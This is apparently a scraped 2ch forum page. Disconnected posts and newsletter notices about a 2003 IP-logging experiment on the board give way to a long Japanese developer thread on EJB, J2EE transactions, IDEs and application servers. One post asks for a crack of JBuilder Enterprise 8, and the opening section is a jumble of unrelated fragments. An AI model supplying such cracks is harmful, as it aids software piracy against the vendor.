>>245 つうか、いつもはちょっと書き込んですぐ引っ込むたかゆきがずっと同じスレに書き込んでるだけでも、この実験が大きな意味があるんだろうとか感じられる。と楷先生が言ってました
ひろゆきって・・ 挙動不振じゃないかい?
IP記録実験
http://qb.2ch.net/test/read.cgi/accuse/1042013605/ 1 名前:ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日:03/01/08 17:13 ID:???
そんなわけで、qbサーバでIPの記録実験をはじめましたー。
27 名前:心得をよく読みましょう 投稿日:03/01/08 17:20 ID:yL/kYdMc
SETTING.TXT管轄でないということは全鯖導入を視野に、か?
38 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:22 ID:rLfxQ17l
>>27 鋭いです。
73 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:27 ID:rLfxQ17l
>ところで、IPが抜かれて何か今までと変わることってあるのでしょうか?
・今までより、サーバが重くなる。
・裁判所や警察からの照会があった場合にはIPを提出することがある。
ybb?
民家倒壊?
======2==C==H======================================================
2ちゃんねるのお勧めな話題と
ネットでの面白い出来事を配送したいと思ってます。。。
===============================読者数: 138720人 発行日:2003/1/9
年末年始ボケがそろそろ収まり始めた今日このごろのひろゆきです。
そんなわけで、年末に予告したIP記録ですが実験を開始しています。
「2ちゃんねる20030107」
こんな感じで各掲示板の最下部に日付が入ってるんですが、
20030107以降になってるところはログ記録実験中ですー。
んじゃ!
────────────────────────Age2ch─
■この書き込みは、Age2chを使って配信されています。
────────────────────────────
Keep your thread alive !
http://pc3.2ch.net/test/read.cgi/software/1041952901/l50 ────────────────────────────
>>546 なんか普通にalt+F4で消せるから大丈夫。
かなり深夜で気を使うのもやはり個人的にあるので 簡単にココで情報を交換してからに致したく存じます。 あと、以前僕のワード文書をクラックして消したなら 出来たらくれると嬉しいです。 非常に大事な段階で消えたので。 ・・もし心当たりが無いなら仕方ないです。
ねもい。。
>>432 つまり、内容証明郵便によるもの以外の削除依頼は対応しなくても法律上問題ないって事だね。
最近使ってないんだけどちょっとは速くなった? 新しいネタない?
>>573 世の中サヨとネットと圧力で出来てると思っているお前のような奴のほうが
世の中にとっては役に立たない
空気を読まずにカキコ。 粘着くんは別にめずらしくないし、誰にでも1粘着付いておりますので(笑 気にすることないですよ。>ゲリーさん 遅ればせながらご結婚おめでとうございます。>腐れ33男★さん でわ。
Jane使えば一目瞭然
終わったな ま、ひろゆきは何も悪いことはしないわけだが
避難先はどこ?
466 :
デフォルトの名無しさん :03/01/11 00:20
さん この展開は、夜勤さんがお好きそうな展開ですわ(笑)
快速がレスつけてんの半年ぶりぐらいに見た
快速2get!
======2==C==H======================================================
2ちゃんねるのお勧めな話題と
ネットでの面白い出来事を配送したいと思ってます。。。
===============================読者数: 139038人 発行日:2003/1/10
なにやら、連日メルマガだしてるひろゆきです。
そんなわけで、ログ記録実験ですが、いちいちサーバ指定するのが面倒なので、
全部のサーバに入れてみました。
重くなって落ちたりしてもご愛嬌ってことで。。。
んじゃ!
────────────────────────Age2ch─
■この書き込みは、Age2chを使って配信されています。
────────────────────────────
Keep your thread alive !
http://pc3.2ch.net/test/read.cgi/software/1041952901/l50 ────────────────────────────
別に悪いことしないので、全く問題ない。 でも、美咲タンが出てこなくなったらイヤだな。
タイーホ続出のナイスな予感
そこらじゅうにコピペしてる香具師は何者?激しくウザいのだが
全書き込みIPアドレスを表示しましょう。 そうすれば 無 責 任 な発言は減りますよ。
誰か2ちゃん運営側で匿名堅持のために新掲示板作るやつはいないのか?
10人殺したら、超えてるような
責任もてない奴は書き込みをするなってことです( ̄ー ̄)
>あめぞうより2ちゃんのほうが質が良かった時代 そんな時代はありませんでしたが、何か?
( ´,_ゝ`)プッ 糞荒らしなんとか言ってみろや(藁
GAっていつのまに2ちゃんねるアニメランキング1位になったんだ?(w
gannbattekudasai
(^^)
訴えられると捕まるは全然違うだろう。
485 :
デフォルトの名無しさん :03/01/14 22:10
これも再開期待age
(^^)
487 :
デフォルトの名無しさん :03/01/16 21:01
分散トランザクションて? そんなにリソース(DB)を複数使うとことて あるのですか? それと最近んのIDEはどうですか EJBが簡単に作れますか
488 :
デフォルトの名無しさん :03/01/16 21:52
>>487 RDB+MQという組み合わせで2つ使うことは意外にあるのでは?うちはそう。
IDEでEJBウィザードは多くなってきたが、WASだのSunONEだのAPサーバへの
依存度が高いのが難点かな?
ただEntity Beanならともかく、Session BeanをわざわざIDEで作る必要が
あるかどうか俺にはわからない。
489 :
デフォルトの名無しさん :03/01/17 00:02
>>ただEntity Beanならともかく 確かにめんどうだよな。IDEはJbuilder ならマルチブラットホームでは。それ以外は ・・・確かに。 ちなみにJdeveloper9なかなかいける。 クラス図からソース生成ができる(標準で組み込まれている) なぜか評判になっていない。
>>489 ブラットホームってなんだよw
クラス図からソース吐き出せるだけなの?
TogetherControlCenterならラウンドトリップできるよ。
クラス図書いたらソースができてて、ソース直したらクラス図も変更されてる
とりあえず、Windowsと主要なUNIXではうごくぽい
491 :
デフォルトの名無しさん :03/01/17 01:33
>>489 >>ブラットホームってなんだよw
アプリケーションサーバが複数に対応していること。
web shere stdioからだとweb logic のejbつくれないだろ。
TogetherControlCenterて値段は高いんじゃないの?
9iは標準でついている。持ちろんラウンドトリップもできる(はず)
iiossは無料だけど使い勝手は????
492 :
デフォルトの名無しさん :03/01/17 01:44
493 :
デフォルトの名無しさん :03/01/17 01:57
>>ところでソース生成機能すらついてないモデリングツールって未だに >>あんの モデリングツールじゃなくて開発ツールのこと。 いまのところJbuilderはソースからUMLを生成 するだけ。webshere,sun oneなどは標準ではない eclipseはプラグインつかうだけ。 要するにJBも別に金だして買えと。 それにつかいがってよくない。 それならvision good
494 :
デフォルトの名無しさん :03/01/17 02:04
JBuilderの中の人も大変だなあ。
495 :
デフォルトの名無しさん :03/01/17 02:05
Session Beanの中の人も大変だなあ。
496 :
デフォルトの名無しさん :03/01/17 02:57
EJB・Strtus・tagLIB・APPSERVER みなさん本当にこれだけみんなマスタできています? 覚えるの多すぎ
マスターしなきゃ使いこなせないような奴はプログラマ向きじゃない
498 :
デフォルトの名無しさん :03/01/17 04:21
>>マスターしなきゃ使いこなせないような奴はプログラマ向きじゃない その前に日本語勉強しましょう(w
マスター(初心者用語) : 仕様を隅から隅まで暗記した状態
500
501 :
デフォルトの名無しさん :03/01/17 21:34
ひとつ聞きたい。 EJBついかわなくてもいいんじゃないていうシステム多いんじゃない? そんな気が・・・
>>501 1.APサーバー/ハード売りとの抱き合わせ商法。あるいは工数嵩上げの口実。
2.最先端の技術を(例え無意味でも)「使っている」ことで売りにする営業の詐欺トークの結果。
3.ソケットプログラミングできません。RMIもCORBAも分かりません。
4.いちどEJBで作ってしまえば、その後の保守作業まで囲い込めます。
ダークですが単純な理由ですよ。
一番大きな理由を忘れてた。 5.プロジェクトを利用して自社技術者にEJBテクノロジを覚えさせた。 お客さんは実験に金を払わされたわけね。 ろくでもない会社ばっかりだ。
>>502 EJB使ったからって簡単には工数増えんだろ。
客は「新技術」 = 「工数削減」って思ってるんだから。
EJB使ったら逆に増えるんだよなぁ(T_T)
2,5だろうな。最大の理由は。
505 :
デフォルトの名無しさん :03/01/17 22:26
漏れは逆にEJB使うのが当たり前。JBossとかJRun使ってガンガン作ってるよ。最近はSun ONEも使う。 もともとCOM+出身だったから、「ビジネスロジックはステートレスで!」とか 「ビジネスロジックのオブジェクトは必要最低限のインスタンスだけコンテナにプーリングさせて 複数セッションから使いまわす!」というのが自分にとっての常識だったワケね。 そうすると必然的にビジネスロジックコンポーネントはTPモニタ的なコンテナの上で動く必要があるじゃん? (OLTPやったことある人なら分かると思うけど) だからその頃のノリで、今はEJBでStateless Session Beanをガシガシに使ってるよ。 ローカルなJavaBeansで同じことを実現しようとするとこうはいかないでしょ? Servletコンテナの上にわざわざSingleton積んで、自前でプーリングやらライフサイクル管理やら行う コンテナもどき作らなきゃならない。 そんなだったら最初からあるEJBコンテナ使ったほうが信頼性あるし生産性あがるしラクっていうのが 漏れがEJB使ってる動機なんだけど、そういうこと考えている人って少ないのかな?
てゆうかJ2EEシステム作る時は、規模の大小に関わらずデフォルトでEJB使用ですが何か? ウィザードというか雛型を一回作ってしまえば、JavaBeansで作るのとSession Beanで作るのに工数的な違いはない。 無料のEJBコンテナも出回ってきてるしな。 とっつきは難しいが、一回慣れてしまえばやっぱ楽だよEJB。 EJB=WASやWLS=高価で大規模なシステムONLYという図式はそろそろ古くなってきてる予感。
507 :
デフォルトの名無しさん :03/01/18 01:03
>>EJB=WASやWLS=高価で大規模なシステムONLYという図式はそろそろ古くなってきてる予感。 たしかに。でもまだまだだよ。javaマスタするのに時間かかりすぎ。 あるプロジェクトjavaでも開発失敗してPHPでしているし(ダイエーOEM) もっと使いやすいツールがでなきゃ。
508 :
デフォルトの名無しさん :03/01/18 01:08
正直、一番初心者向けのEJB対応APサーバはJ2EE RIだと思う。 セットアップは簡単。設定は必要最小限。他のソフトと連動させる必要なし。デプロイツールは附属。デプロイも簡単。 TomcatでServlet+JSPの勉強するくらいなら、RIでServlet+EJB+JSPの勉強したほうがいいと思う。
509 :
デフォルトの名無しさん :03/01/18 06:44
教えてください あるStatefull SessionBean内に、既に存在する別のローカルインターフェースの Statefull SessionBeanの参照を保持したいときどうしたらよいのでしょうか? ローカルインターフェースなのでHandleつかえないし、ローカルインターフェース そのままインスタンス変数に持つのはEJBLocalObjectの実体はシリアライザブルじゃ なさそうでActivate/Passivate問題ありそうだし..
510 :
デフォルトの名無しさん :03/01/18 08:22
JavaBeans+Singletonでコネクション管理クラスとか使うくらいなら素直にSession Bean使えよ!って思うことがある。 @IT掲示板でも今JaveBeansをどうやってSingletonで管理するか?みたいな議論やってるけど。 Singleton使うとデザインパターン使いこなしている気分に浸れるからウケがいいのかな?俺はあまり好きではないが。 インスタンス数管理とかActive/Passive機能とかを自作Singletonで実装するなんて考えるとぞっとする。
512 :
デフォルトの名無しさん :03/01/18 11:59
>>510 それってPDF無料で手に入るやつの日本語版?
>>511 他人の作ったマルチスレッド前提のフレームワークと自作ナニカカンリ用
Singletonクラスって非常に相性悪いよね。よく考えないとすぐ同
期のワナに引っかかる。
スレッドごとにどのようにタスクがスケジューリングされるのか
把握しきれないような仕組みのうえで、安易にSingleton使う奴
は、最近よくいる「生兵法GoFかぶれのオナニーバカ技術者」と
いう認識でおりますが、まちがってますでしょうか?
514 :
デフォルトの名無しさん :03/01/18 12:11
ちょっとスレともスレタイからも外れるんですけど メタファイルってなんのことでそか?
かなりスレ違い ネタファイル(ネタ帳)は芸人の魂。 オクレ兄さんのネタファイルにもびっしり書込みしてあったなあ。
広義には、ファイル自体の情報を記述したファイルのこと。 J2EE狭義ではEARやWARやJARのMETA-INFに格納されているアーカイブ自身の情報を記述したファイルのこと。
無料で使えて業務にも使用可能というSun ONEを落としてみたのだが・・・ EARを作成するツールが附属していない。SunONE Studio必須なのか? この手のツールくらい必須で用意しておけよ。 RIで作ったEARをデプロイしようとすると原因不明のエラーで落ちるし・・・。 これならRI使いつづけたほうがマシだな。
JakartaはEJB対応APサーバを作るつもりはないのかな?
519 :
デフォルトの名無しさん :03/01/18 21:04
>>スレッドごとにどのようにタスクがスケジューリングされるのか >>把握しきれないような仕組みのうえで、安易にSingleton使う奴 >>は、最近よくいる「生兵法GoFかぶれのオナニーバカ技術者」と >>いう認識でおりますが、まちがってますでしょうか? どうやって回避するの? シンクロナイズをつかって同期とるの
>>520 そういう戦略的な判断とかソフト提供の方向性は、最上位に存在する人たちでなければ決められないんじゃなかったっけ?
ちなみにコミッタは日本人は1人もいないっていうのは本当?
>>520 まずは物を作ってある程度評価されるようになってから寄贈するのが近道かと。
Tomcatからして元はSunからの寄贈だし、log4j・ Strutsなんかも他から移ってきたものだな。
xml.apache.orgも寄贈されたものが多いな。crimsonやxercesなど。
>>513 513の言っている意味がほとんどわからん。
少なくともあんたがスケジューラとマルチスレッドを理解していないのがわかるが。
「オナニーバカ技術者」 = 513
>>509 >ローカルインターフェースなのでHandleつかえないし、ローカルインターフェース
>そのままインスタンス変数に持つのはEJBLocalObjectの実体はシリアライザブルじゃ
>なさそうでActivate/Passivate問題ありそうだし..
javax.ejb.EJBLocalObjectだけをみればそうかもしれないが、実際にこのinterfaceを
implementsしているクラス(スタブ)は Serializable になっているのではないですか?
試しに、以下のように判定してみては?
MyLocalSessionBean xxxxx = ....;
if( xxxxx instanceof java.io.Serializable )
{
System.out.prinltn("シリアライズ可能!!");
}
526 :
デフォルトの名無しさん :03/01/22 22:53
タダでJ2EE実装フルセットをそろえる方法: 1.Apache+Tomcat+JBoss+openJMS 2.SunOneServer7 PlatfromEdition 3.J2EE SDK付属のRI(ワラ 1でいろいろ苦労するより2のほうが楽そうですね。 2は、実は3でできてるらしいけど… あと2はWinNT版とSolaris版しかないみたい。 もっといい選択枝ってあります?JMS実装を必要と することって、今までありましたか?
学習目的なら、
J2EE RI(
>>508 には同意)
WebSphere AEsの評価版(期限は半年、超過しても再インスコすればまた半年使える)
実運用したいなら、
Apache+Tomcat+JBoss(面倒くさいよなぁ・・・)
Sun ONE Application Server
といったところか?
Sun ONEは情報が少なすぎるよ。
(^^)
529 :
名無しさん :03/01/23 23:46
EJBってトランザクション気にしなくていいの? プロジェクトに参加してる人全員気にしなくても大丈夫なの??
530 :
デフォルトの名無しさん :03/01/24 00:15
>>529 EJBのメソッド内は基本的には1つのフラットトランザクションとして実行
され、その中でコミットなどは書かなくてもいい(というより書けない)の
で、複雑な仕組みを自分で考える必要がないだけ。
トランザクションがどういうものか知らない人が簡単に作れるかというと
そうでもない。
>>530 SessionBeanだったら、Bean Managed Transaction(BMT)というタイプが
可能なので、JTA/JTSを使ってSessionBean内部でcommit()とかできるでしょ?
532 :
デフォルトの名無しさん :03/01/24 03:37
分散トランザクションて? 複数のDBの一括トランザクションのこと
534 :
デフォルトの名無しさん :03/01/24 23:55
>>複数のDBの一括トランザクションのこと どうゆう風に? まだ例見たことないんだけど エンティイでもできるのかな?
2フェーズコミットをサポートしていて、ちゃんとしたJDBCドライバが あって、かつオープンソースのRDBMSって、何かありますか?
NAI MONO NEDARI
Jakartaって以前に "J2EE(EJBだったかな?) suck" とかいうニュースが出てなかった? Enterprice Object Broker とかもあるし もしかしてJ2EEに反対してるのか?
Sunがオープンソース実装のJ2EE認証を拒んでいたからじゃないの? その件はSunがASFにOKを出して解決したと思ったが。
539 :
デフォルトの名無しさん :03/01/26 09:31
>>534 JTAに対応したデータソースであればなんでもまとめてロールバックできますよ。
ただしネストしたトランザクションはサポートしませんが。
>>エンティイでもできるのかな?
できます。
540 :
デフォルトの名無しさん :03/01/26 09:32
541 :
デフォルトの名無しさん :03/01/26 15:33
>>541 で、そのJDBCドライバは2PCをサポートしているの?
543 :
デフォルトの名無しさん :03/01/26 19:29
分散トランザクションのやり方おしえて あと例も
545 :
デフォルトの名無しさん :03/01/27 16:10
EJBでもストアードプロシージャー 使って更新するということは できるんですよね
>>545 SessionBeanの中からJDBCのCallableStatementインターフェースを使って
呼び出してください
547 :
デフォルトの名無しさん :03/01/27 22:51
Solaris8でSunONE AS7.0でEJBまともに稼動させてる方いますか? なんかインストーラからして重要なjarをコピー漏らすし、WebLogic で確認済のEJBをVerifierかけるとremote/homeインタフェースが無効 だとか、remoteにトランザクションが記述されてないとか言われます。 ejb-jar.xmlに原因があるのかなぁ.... たいがい泣き入れた後に冷静に見ると、「オレが悪かった!」という オチなんだろう。
>>547 ちょっとぐらい警告出ても気にしない。
多少いいかげんでも配備出来るさ。
>>543 EJBでやる場合は、メソッド内で次々にデータソース(JTA、XA対応のもの)を利用するだけでいける。
JTAでやる場合はアプリケーションサーバからUserTransactionをlookupして、begin()、commit()、rollback()
で制御する。
553 :
デフォルトの名無しさん :03/01/28 10:20
>546 サンクス
555 :
デフォルトの名無しさん :03/01/28 23:59
age
556 :
デフォルトの名無しさん :03/01/30 03:03
たんにEntityBeanのトランザクション境界ラップするため のFacadeパターンってSessionBean起こすのめんどくさいんで、 ホームメソッドでよさげ...おおきな間違いでしょうか?
>>556 そしてさらに、リモートのクライアントから呼び出されたそのHomeメソッド内で、
Localタイプの同じEntityBeanにアクセスするともっと良いかも。
558 :
デフォルトの名無しさん :03/02/12 01:04
eclipse で Lomboz使うと結構楽。 でもEntityBeanはなあ... それでも結構面倒くさい
559 :
デフォルトの名無しさん :03/02/12 01:57
J2EEのリファレンスサーバめんどくさすぎ なんでHELLOWWORLD出すだけで そんな複雑な設定しなければならないの
560 :
デフォルトの名無しさん :03/02/12 04:13
>>559 分散システムってのはそういうもんだよ。
イヤならスタンドアロンアプリ作ってなさいよ。
561 :
デフォルトの名無しさん :03/02/13 21:45
WEb logicはもっと簡単だろう
562 :
デフォルトの名無しさん :03/02/14 09:31
resinってEJBが使えるみたいなんですが どなたかresin使ってる方いますか?
563 :
デフォルトの名無しさん :03/02/17 15:49
ORA-08177が憎い
565 :
デフォルトの名無しさん :03/02/19 01:04
実際CMP2.0で業務AP開発している方どうですか? CMR使ったリレーションとかめんどくさそうなんですが・・・
567 :
デフォルトの名無しさん :03/02/19 10:18
>>565 CMPなんか使ってしまうと、あとで後悔するだけ
569 :
デフォルトの名無しさん :03/02/21 12:57
トランザクションのアイソレーションレベル考え出すと夜も眠れません ほんと、まコーダーレベルにあんまし意識させなくていいというの有難 いですが。 今やってるやつはパフォーマンスあんまし考えなくいい小規模社内システム なんで結局、クリティカルな部分はStatefull SessionBeanで書いてサーブレット コンテナに保持したインターフェースからアクセスする方法でブロックする というヘタレな方法で逃げちゃいました。Singleton Statefull SessionBean(爆 ブロックコール出来るオプションのあるコンテナ依存っす。
571 :
デフォルトの名無しさん :03/02/22 02:45
>>小規模社内システム EJB使うメリットあるんか 小1時間問い詰めたい
>>571 漏れはアプ鯖に何を使ってるのか知りたい。
アプ鯖高けぇぞ。
574 :
デフォルトの名無しさん :03/02/22 14:05
>>571 EJBは大規模システムに使うというのがそもそも勘違い。
変更に強いシステムということでは、使う意味はある。
きちんと作ればね。
577 :
デフォルトの名無しさん :03/02/22 19:01
小規模で分散トランか? 小一時間・・・・・(略)
578 :
デフォルトの名無しさん :03/02/22 22:31
>>577 EJBを一から勉強しなおしてこい。
小一時間問い詰める気にもならん。
>>572 ただのもあります。
SunONEAPServer7とか。JBossとか。
タダで使えるから、社内システムをコレで作ってEJBのお勉強するのは
ありだと思われ。
分散することで発生する通信のオーバーヘッドよりも負荷のほうが高い ようなシステムじゃなければ、分散するイミナイですよね。 それにもかかわらず、なにかものすごいすばらしいことで、なんでもこれ でやるとすばらしい結果になると言いふらす馬鹿があっちこっちにいる のは何でですかね? …ああ、あいつ等営業だった。
581 :
デフォルトの名無しさん :03/02/22 22:56
>>580 間違った知識を広めるなよ。
EJBを使うメリットが分散だけか?
しかも、EJB2.0から追加されたローカルインターフェースは
分散にもならない。
>>581 EJBのことを語っているわけではなく、"分散システム"のことですお。
EJBのメリットは、サーバ作る時の低レベル実装をEJB準拠のAPサーバ に丸投げできて、実装と管理で楽ができるということだと思ってるお。 ちゃうか?
>>582 ここは、EJBスレだと思ったのだが。
そこで、EJBのことを語っているわけではないとはいかに。
君ら噛み合ってない
586 :
デフォルトの名無しさん :03/02/23 01:44
>>581 おちついて
>>580 の発言をよくみてみろ。
なんでもかんでも分散って言ってるやつらを小一時間以下略と言ってるだけだ。
小規模社内ってのはWebサイトみたく何千セッションも考えなくて よいという意味でね、それなりにもらっててメジャーなAPサーバー とOracle使える受託の業務システムね。 超レガシーなソケット通信その他があったりで、そのあたりとEJB との同期とかトランザクションとのかかわりがキモだったわけ。 世の中petStoreみたく美しくないんですよね(爆、 でもEJBのほうが楽だと思うぞ〜つーか、CMPなんかは小規模だから こそ積極的使うべきだ思いますが。
588 :
デフォルトの名無しさん :03/02/23 04:40
>>でもEJBのほうが楽だと思うぞ〜つーか、CMPなんかは小規模だから
>>こそ積極的使うべきだ思いますが。
うーんそうかな?
http://www.c-sq.com/corp/info.html でこいつらどう思う?
>>Bは大規模システムに使うというのがそもそも勘違い。
>>に強いシステムということでは、使う意味はある。
オブジェクト指向で成功している会社てほとんど聞かないのですが
なんか理想を語っているみたいなお人ですが?
589 :
デフォルトの名無しさん :03/02/23 04:54
590 :
デフォルトの名無しさん :03/02/23 13:21
半分スレ違いかもしれませんが、教えてください。 過去レスでWebObjectsをEJB/JSP/Servletコンテナ(J2EEコンテナ)としても使える、 というカキコがありましたが、TomcatやWebLogicで使っていたWAR形式の アプリケーションを、ProjectBuilderなどWOの開発環境を全く(できるだけ)使わないで、 そのままWO上にdeployする手順について、詳しい手順が載っているサイトは ないでしょうか?
592 :
デフォルトの名無しさん :03/02/23 21:28
589>> なぜにこんなシステムに分散システムを(w
>>588 >>でこいつらどう思う?
ほとんどは.Netとのクラスタリングでフェールオーバー対応と
いったところか
594 :
デフォルトの名無しさん :03/03/10 22:08
IDEのベストはどれ? だめだめといわれるIDE。 Jbuilder6はかるいだけど メモリ128Mでうごくし Eclipseは256Mは必要だけどかるい。 Jdeveloperも機能が豊富。 使いやすくて安定しているのはどれ 意見を求む
595 :
デフォルトの名無しさん :03/03/10 23:07
>>594 スレ違い
EJBのスレということをふまえてレスすると、JBuilderはEJBに一番対応しやすいのじゃないかと思う。
高いけど。
Sun ONE Studioもお金出せばEJBの開発ができると思う。
Eclipseは、まだ楽々EJBが使えるわけではないような気がしないでもない。
まぁ、EJBやるのに、IDEがないと作業が多くてやってられない罠。
596 :
デフォルトの名無しさん :03/03/10 23:09
どれも動作が不安定な気がするのだが
IDEA もあるよ。
598 :
デフォルトの名無しさん :03/03/11 00:02
>>596 別に、開発作業自体が安定して反復作業がおおくなれば、言うほど不安定じゃないよ。
「安定」の基準をどこに置くかという問題はあるが。
少なくとも、1日1回ダウンしてソースがあぼーん、ということはない。
使いやすさも、導入のしやすさか、導入した後の効率か、というのがあるよね。
結局使い込めば何でも使いやすいといえるわけだし。emacsなんかがいい例。
599 :
デフォルトの名無しさん :03/03/11 00:49
Jbuilder enterprise8のクラック ない? おれ6は持ってるんだけど
601 :
デフォルトの名無しさん :03/03/11 02:23
高すぎてかえないんだ
(理想が)高すぎて(つ)かえないんだ
606 :
デフォルトの名無しさん :03/03/11 23:11
J2EE勉強するためにお勧めの書籍はありますか?
>>606 「はじめてのJSP&サーブレット」とかから始めれば?
608 :
デフォルトの名無しさん :03/03/11 23:34
複数のリソースをトランザクションてのがわからん そんなに楽なのか? 具体例のコードをみせてみて
>>607 いや、JSP/Servletはとっくにやってるんですけど。
EJBを使ってみたいのです。
>>609 オラ煎りのEJB本はいいよ。CMP2.0の解説とかも詳しいし。
>>606 じゃあEJBの本探した方がよくねぇ?
J2EEって何かわかってる?
>>611 EJBといった方がよかったですか。
JSP/Servlet/JDBCはJ2SE + Tomcatだけでやってたんですよ。
>>612 JSP/ServletはJ2EEだよ。
>>612 EJBコンテナないじゃん。
SunのJ2EE SDKにはEJBコンテナの参照実装があるから、それつかえ。
JBossでもいいが。
615 :
デフォルトの名無しさん :03/04/08 21:35
EJBのセキュリティチェックで使われるユーザとかロールの情報って EJBコンテナ固有のデプロイメントツールでいちいち登録するもの なんですか?これってWeb認証のレルム(JDBCRealmとか)とは全く 別物ですよね? Web層はレルムの情報で認証して、OKならそのユーザ名でEJBのセキュリティを チェックして、メソッドの実行可否を決める、みたいなことってできないんですか? それともWeb層の認証とEJB層の認証はどちらか片方だけやるのが一般的?
(^^)
617 :
デフォルトの名無しさん :03/04/22 02:24
JBossしょぼい
最近、EnhydraのEJBコンテナーってどうなったの?
Tomcat プロジェクトは EJB コンテナの開発には行かないのか。 資金源の企業様との暗黙の了解なのか。
なんでだろうね。 単に、EJB及び周辺サービスを、フルスクラッチで書いて実用レベルまで持ってくだけの、 資源もニーズもないからじゃないかなー。 どっかの企業がソースコード一式寄付したら話は別だけど、 トランザクション・サービスのオープンソース化ってあんまり聞かないし
621 :
デフォルトの名無しさん :03/04/24 04:07
Sunが、すでに自社製EJBサバをライセンス料ナシで配布してるからなあ。 MQもただで配ってんだもんなあ。
>>615 超遅レス。
> EJBのセキュリティチェックで使われるユーザとかロールの情報って
> EJBコンテナ固有のデプロイメントツールでいちいち登録するもの
> なんですか?これってWeb認証のレルム(JDBCRealmとか)とは全く
> 別物ですよね?
Web認証もJ2EE認証なのでWeb層で認証が成功すればEJBでも同じロール名でセキュリティが適用されます。
624 :
デフォルトの名無しさん :03/04/29 01:37
>>Tomcat プロジェクトは EJB コンテナの開発には行かないのか。 >>資金源の企業様との暗黙の了解なのか。 Jbossを寄付すればいい
>>618 VOBS EnhydraってのがNECか何処かから出てたね。
でもマイナー過ぎて誰も知らないね。
626 :
デフォルトの名無しさん :03/04/29 02:05
COBOLから急にjAVAをやるはめになってしまったのですが。 デプロイについていろいろ調べたのですが。結局なんなのかわからないです。 デプロイって詳しく言うとなにをやっているのですか?
>>627 アプリサーバ上の所定の位置へクラスファイル、設定ファイルその他アプリの動作に必要なファイルを配置すること。
設定ファイルに設定を記述する、という作業も含めてデプロイと呼ばれることもある。
早いお返事ありがとうございます 設定ファイルというのは、Tomcatでいうとweb.xmlのことなのでしょうか?
>>629 だいたいそんなとこ。
Webアプリケーションではweb.xmlだったり
EJBではejb-jar.xmlだったり
J2EEアプリケーションではapplocation.xmlだったり。
ありがとうございました
632 :
デフォルトの名無しさん :03/05/01 05:25
>>COBOLから急にjAVAをやるはめになってしまったのですが。 それはご苦労さん。サーバサイドは覚えることがたくさん いやになるね。ベンダーごとにツール・APPサーバは違うし 複雑なEJBまあがんばってさい
EJBは限りないオーバースペック。 流行に乗ってアプリケーションサーバー買ってみたけどJSPだけしか使わないという罠。
634 :
デフォルトの名無しさん :03/05/01 21:59
TOMCATで十分(w
中古 ThinkPad + Linux + Apache + Tomcat + PostgreSQL で十分
↑操作ミスしてゴミを作ってしまいました。すみません。
>>623 >
>>622 > おーthanx!です。試してみます。
最新のJBoss(Tomcatインテグレート版)で、EARを作って試したら
うまく行きました(Webで認証されたロールがEJBに適用された)。
はじめてJBoss使ってみましたが、結構いいかも。
638 :
bloom :03/05/03 15:13
639 :
デフォルトの名無しさん :03/05/04 19:29
Java歴4年 Tomcat、Apache、PostgreSQLをLinuxにインストールし JDBCを使ってPostgresにinsertやselectしたことがある。 strutsやcocoon,横浜ベイキットも試したことがある。 普段はantで開発し最近Eclipseを使い始めた。 そんな漏れにお勧めのEJB本はありますか?
640 :
デフォルトの名無しさん :03/05/05 05:48
>>639 オライリー
EnterpriseJavaBeans
>>639 Java暦半年といっても過言ではないなあ。
EJBコンテナのマニュアルでも読むといいよ。
WebLogicかJRunあたりならWebで読める。
642 :
デフォルトの名無しさん :03/05/05 19:30
大規模開発以外で、EJB使うメリットってあるの?トランザクション管理って何?
純EJBを学ぶにはどのAP鯖で試したらいいですか? ベンダの独自実装が入り込んでない素の仕様を学びたいのですが。
645 :
デフォルトの名無しさん :03/05/05 20:12
>>642 >大規模開発以外で、EJB使うメリットってあるの?
それがまったくないのだよ。わはは、工数かかるだけ。
あっ工数稼ぎたいときは便利かな?
>トランザクション管理って何?
ぐぐれ
648 :
デフォルトの名無しさん :03/05/06 00:17
EJBのメリットを理解するためにはDBの分散配置や2フェーズコミットなど の知識が必要だが、適切な解説書などが見当たらない。みなピントがボケて いる。 だれかEJBのメリットについて説得力のある説明できる人いるか?
649 :
デフォルトの名無しさん :03/05/06 00:21
>>648 すまんが2フェーズコミットについて教えてはくれまいか。
650 :
デフォルトの名無しさん :03/05/06 00:23
>>642 似たような、でもよりマヌケで糞な俺様仕様のホスト間通信ライブラリ
の類を作って悦にいっている「会社の金でオナニー」連中を纏めて駆逐
出来る。
J2EE自体は仕様がオープン。またユーザは世界中にいるので、EJBが使え
る人間やEJBで作成したシステムを保守できる人間を集めるのは、俺様わ
けわかライブラリを使える人間やそれで作られたシステムを保守できる
人間を集めるより、はるかに容易で低コスト。
俺様わけわかライブラリは、おそらく作者のイル会社しか保守できない。
そうなると、保守/変更作業は、その会社の殿様商売。オソロシヤ。
バージョンアップのたびに追加料金取ったりといった、どこぞのOSベンダ
のような阿漕なマネもし放題。
作る時だけのことを考えるなら、EJBは面倒くさいだけに感じるかもな。
652 :
デフォルトの名無しさん :03/05/06 00:32
>>649 たとえば、東京に商品データベースがあり、大阪に在庫データーベース
がある、このように資源を分散させて配置したデータベースに対し
双方更新をかけ、コミットすることを2フェーズコミットと言うようです。
以前はこの処理をミドルウェアを使い実現していたが、EJBはこのトランザクション
の整合性をプログラムで意識せずに実装できる・・・
EJBのメリットとしてこのような事をよく効くが、本当かな?
まずデータベースの分散配置(負荷分散ではない)のメリットがよく
わからない。
>>649 一つのトランザクションで、2つ以上のDBを更新するときに、
全ての更新処理を纏めてトランザクショナルに扱う為の方法。
こういうときは気をつけないと、片方だけ更新して片方は更新
していないというような、ACIDに違反した状態になってしまう
わけで。
具体的な処理の流れは、ぐぐったほうがはやいかも。
>>652 データベースの分散配置にメリットなんかないさ。
単に、今あるシステムで使っているデータベースが、たまたまそう
なっている時に、その上で新しいシステムを作るバヤイはどうする
かとか、そういう後ろ向きの話しだと思われ。既存システムに対する
派生開発ですね。
655 :
デフォルトの名無しさん :03/05/06 00:45
分散オブジェクト技術スレで、DB分散にメリットなど無いという意見が出るとは。 斬新だ。
656 :
デフォルトの名無しさん :03/05/06 00:48
>>655 DB分散んのメリットについてかたってくれ。
これが理解できないとEJBの真のメリットは理解できないと思う。
>>655 負荷分散、あるいは障害時バックアップの為の分散には意味があるとおもうが、
データのリポジトリの実体が複数あるなんて、どこに意味があるのさ。
658 :
デフォルトの名無しさん :03/05/06 00:53
659 :
デフォルトの名無しさん :03/05/06 01:03
